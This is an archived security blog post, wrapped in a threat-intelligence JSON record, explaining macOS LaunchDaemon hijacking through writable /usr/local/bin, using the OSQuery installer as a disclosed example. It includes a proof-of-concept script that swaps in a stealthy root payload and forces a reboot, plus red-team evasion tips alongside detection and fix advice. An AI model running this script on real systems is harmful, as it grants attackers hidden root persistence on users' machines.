{
	"id": "c91da83f-2fa7-4b8b-8341-c969430bf5ed",
	"created_at": "2026-04-06T00:13:16.627268Z",
	"updated_at": "2026-04-10T13:12:35.997868Z",
	"deleted_at": null,
	"sha1_hash": "4689281fc67cf8223a573388e44a6dc660c763b7",
	"title": "LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 901085,
	"plain_text": "LaunchDaemon Hijacking: privilege escalation and persistence via\ninsecure folder permissions\nPublished: 2021-05-10 · Archived: 2026-04-05 22:05:53 UTC\nLaunchDaemon (or LaunchAgent) Hijacking is a MacOS privilege escalation and persistence technique. It\ninvolves abusing insecure file/folder permissions to replace legitimately installed, misconfigured LaunchDaemons\nwith malicious code.\nI first spotted this issue affecting the OSQuery installer but went looking and found multiple other products with\nthe same problem. This isn’t a novel technique (it’s briefly mentioned in T1543.004) but I was surprised to find it\nso rarely talked about.\nExample – Hijacking the OSQuery LaunchDaemon\n😇\nI’ve already disclosed this issue to the OSQuery team and they kindly let me use it as an example in this post. A\nfix will hopefully be coming in a future release 🤞🏻\nWhat is OSQuery?\nOSQuery is a monitoring tool that lets you remotely query the configuration and status of hosts using SQL. On\nMacOS, this is accomplished by running a LaunchDaemon on each laptop that syncs with a backend server.\nThe OSQuery installer creates a binary called /usr/local/bin/osqueryd and sets up a LaunchDaemon via\n/Library/LaunchDaemons/com.facebook.osqueryd.plist :\n?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\nKeepAliveDisabledLabelcom.facebook.osquerydProgramArguments/usr/local/bin/osqueryd--flagfile=/private/var/osquery/osquery.flagsRunAtLoad https://bradleyjkemp.dev/post/launchdaemon-hijacking/\nPage 1 of 6\n\nThrottleInterval60 Which, at a high level, looks like this:\nOn a default MacOS install, this is perfectly safe:\n/Library/LaunchDaemons/com.facebook.osqueryd.plist can’t be tampered with to run anything other\nthan /usr/local/bin/osqueryd ✅\n/usr/local/bin/osqueryd can’t be modified to include malicious code ✅\nHow is this exploitable?\nWhile /usr/local/bin is a secure folder to store binaries on a default MacOS install, this isn’t the case on many\nreal-world systems.\nMany people install a package manager called Homebrew which, during installation, makes the /usr/local/bin\nfolder writable by the current user (even if they’re not an admin). This subtly changes the picture:\nhttps://bradleyjkemp.dev/post/launchdaemon-hijacking/\nPage 2 of 6\n\nNow, although a normal user can’t modify the /usr/local/bin/osqueryd file directly, they can simply replace it!\r\nBecause /usr/local/bin is globally writeable, any user on the system has permission to:\r\nDelete files in this folder—for example, the real osqueryd binary.\r\nCreate files in this folder—for example, some malware named osqueryd .\r\nProof of concept\r\n# 1. Move the original osqueryd binary somewhere else\r\nmv /usr/local/bin/osqueryd /usr/local/bin/.osquery/osqueryd\r\n# 2. Create our replacement osqueryd\r\ncat \u003c\u003c EOF \u003e /usr/local/bin/osqueryd\r\n #!/bin/bash\r\n # Firstly start the original osqueryd binary in the background\r\n # (so no one notices we've hijacked it)\r\n /usr/local/bin/.osquery/osqueryd \u0026\r\n # Then run our malicious payload e.g. a JXA stager\r\n /usr/bin/osascript -l JavaScript -e \"eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithC\r\nEOF\r\n# 3. Reboot the machine. Our payload will be started as root on start-up\r\nosascript -e 'tell application \"System Events\" to restart'\r\nThis short script demonstrates a complete LaunchDaemon Hijack:\r\nhttps://bradleyjkemp.dev/post/launchdaemon-hijacking/\r\nPage 3 of 6\n\n1. Firstly it moves the real osqueryd binary to a hidden folder.\r\n2. It then creates a payload in /usr/local/bin/osqueryd that:\r\nStarts the original osqueryd binary in the background (to help avoid anyone noticing the\r\nLaunchDaemon has been hijacked).\r\nRuns a backdoor.\r\n3. Finally it reboots the machine to force the OSQuery LaunchDaemon to restart. This step is optional but\r\notherwise we won’t get code execution until the user restarts themselves.\r\nOnce exploited, the system looks like this:\r\nExploiting this in general\r\nOSQuery is not alone in being vulnerable to this technique. The change in /usr/local/bin permissions during a\r\nHomebrew install is a particularly common cause of this issue.\r\nhttps://bradleyjkemp.dev/post/launchdaemon-hijacking/\r\nPage 4 of 6\n\nA secure (non-hijackable) LaunchDaemon needs to look like this:\r\nAll four of those padlocks needs to be correctly present to avoid being vulnerable. A non-root user mustn’t be able\r\nto:\r\n1. Modify any file within /Library/LaunchDaemons\r\n2. Create files within /Library/LaunchDaemons\r\n3. Modify any binary referenced by /Library/LaunchDaemons/*.plist\r\n4. Create binaries within a folder referenced by /Library/LaunchDaemons/*.plist\r\nDevelopers and admins are pretty good at getting points 1–3 right. It’s point 4 where problems are most likely to\r\narise—folder permissions are just a bit more confusing than file permissions.\r\nWhat to do about LaunchDaemon Hijacking\r\nFor red teamers\r\nLaunchDaemon Hijacking can be a particularly sneaky way to achieve both persistence and privilege escalation\r\non MacOS. Because it doesn’t create or modify any of the *.plist files in /Library/LaunchDaemons or\r\n/Library/LaunchAgents , it’s not going to trigger any detection rules looking for changes in these folders.\r\nIf you’re willing to wait until the user reboots the machine themselves, this is a way to gain root privileges without\r\ndoing something as obvious as phishing the user for their laptop password.\r\nOf course, this technique can also apply to a user’s personal LaunchAgents (configured in\r\n/Users/username/Library/LaunchAgents ). These are very likely run binaries that can be hijacked to achieve\r\npersistence (though you won’t gain any additional privileges this way).\r\nFor blue teamers\r\nhttps://bradleyjkemp.dev/post/launchdaemon-hijacking/\r\nPage 5 of 6\n\nProtective measures\r\nThankfully, LaunchDaemon Hijacking opportunities are fairly easy to detect and fix.\r\nAll you need to look for is any /Library/LaunchDaemons/*.plist or /Library/LaunchAgents/*.plist file\r\nwhere either:\r\nThe binary being launched is writeable by non-root users.\r\nThe binary being launched is in a directory writeable by non-root users.\r\nThe fix is simply to fix the file permissions or move the binary to a more secure location.\r\n🔍\r\nHere is a small script that logs LaunchDaemons which are hijackable by the current user:\r\nlaunchdaemon_hijacking.go\r\n⚠️ Beware, this script doesn’t detect more nuanced cases. For example, where a LaunchDaemon runs bash with a\r\nhijackable script as an argument.\r\nDetective measures\r\nIf you can’t fix a LaunchDaemon, your best bet is probably File Integrity Monitoring.\r\nBecause this technique requires replacing the LaunchDaemon binary, you’ll be able to detect it by regularly\r\ncomputing file checksums and comparing against known-good values.\r\nA pretty good way to monitor the integrity of LaunchDaemons is actually OSQuery itself…\r\nSource: https://bradleyjkemp.dev/post/launchdaemon-hijacking/\r\nhttps://bradleyjkemp.dev/post/launchdaemon-hijacking/\r\nPage 6 of 6",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://bradleyjkemp.dev/post/launchdaemon-hijacking/"
	],
	"report_names": [
		"launchdaemon-hijacking"
	],
	"threat_actors": [
		{
			"id": "aa73cd6a-868c-4ae4-a5b2-7cb2c5ad1e9d",
			"created_at": "2022-10-25T16:07:24.139848Z",
			"updated_at": "2026-04-10T02:00:04.878798Z",
			"deleted_at": null,
			"main_name": "Safe",
			"aliases": [],
			"source_name": "ETDA:Safe",
			"tools": [
				"DebugView",
				"LZ77",
				"OpenDoc",
				"SafeDisk",
				"TypeConfig",
				"UPXShell",
				"UsbDoc",
				"UsbExe"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434396,
	"ts_updated_at": 1775826755,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/4689281fc67cf8223a573388e44a6dc660c763b7.pdf",
		"text": "https://archive.orkl.eu/4689281fc67cf8223a573388e44a6dc660c763b7.txt",
		"img": "https://archive.orkl.eu/4689281fc67cf8223a573388e44a6dc660c763b7.jpg"
	}
}